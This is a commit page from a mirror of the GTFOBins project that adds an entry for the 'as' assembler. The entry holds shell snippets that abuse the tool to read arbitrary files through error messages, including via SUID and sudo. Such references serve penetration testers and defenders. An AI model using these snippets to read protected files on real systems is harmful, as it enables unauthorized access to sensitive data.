mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add as
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
d18b44c885
commit
f03907836c
16
_gtfobins/as.md
Normal file
16
_gtfobins/as.md
Normal file
@ -0,0 +1,16 @@
|
||||
---
|
||||
description: The file content is treated as command line options and disclosed throught error messages, so this is not suitable to read arbitrary binary data.
|
||||
functions:
|
||||
file-read:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
as @$LFILE
|
||||
suid:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
./as @$LFILE
|
||||
sudo:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
sudo as @$LFILE
|
||||
---
|
Loading…
Reference in New Issue
Block a user